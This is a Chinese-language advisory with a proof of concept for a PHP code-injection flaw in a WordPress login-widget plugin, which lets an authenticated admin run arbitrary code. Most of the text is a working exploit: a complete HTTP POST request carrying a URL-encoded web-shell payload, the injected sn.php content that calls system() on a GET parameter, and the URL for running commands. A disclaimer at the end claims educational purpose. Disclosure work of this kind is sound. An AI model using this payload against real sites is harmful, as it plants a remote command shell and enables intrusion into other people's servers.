bitto.Kazi Custom Login And Signup Widget 中存在生成代码的控制不当('代码注入')漏洞,允许经过身份验证的管理员用户执行任意的PHP代码。
该问题影响所有包括1.0及之前的版本。
🔥 基础分数: 9.1(严重)
CWE ID: CWE-94 – 生成代码的控制不当('代码注入')
该插件允许管理员通过设置页面中的发件人名称字段修改 sn.php 的内容。
用户提供的输入被直接写入 PHP 文件,未经清理或验证。
因此,在 text 参数中提供的任何PHP代码都将被存储到PHP文件中,并在直接请求时执行,导致远程代码执行(RCE)。
/wp-admin/options-general.php?page=custom-login-and-signup-widget&editbn1=yes
POST /wp-admin/options-general.php?page=custom-login-and-signup-widget&editbn1=yes HTTP/1.1
Host: target.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://target.com/wp-admin/options-general.php?page=custom-login-and-signup-widget
Content-Type: application/x-www-form-urlencoded
Content-Length: 121
Origin: http://target.com
Connection: keep-alive
Cookie: *<insert your admin cookie here>*
Upgrade-Insecure-Requests: 1
Priority: u=0, i
text=%3C%3Fphp+if%28isset%28%24_GET%5B%27cmd%27%5D%29%29+system%28%24_GET%5B%27cmd%27%5D%29%3B+%3F%3E&submit=Submit
textsn.php(插件配置包含)<?php
global $bwbn;
if(isset($_GET['cmd'])) system($_GET['cmd']);
?>
http://target.com/wp-content/plugins/custom-login-and-signup-widget/content/sn.php
成功注入后,可直接访问以下URL执行命令:
http://target.com/wp-content/plugins/custom-login-and-signup-widget/content/sn.php?cmd=id
.php 文件。本项目仅用于教育和研究目的。
任何使用所提供信息的行为都需自担风险。
作者对因使用此内容而导致的任何误用或损害不承担任何责任。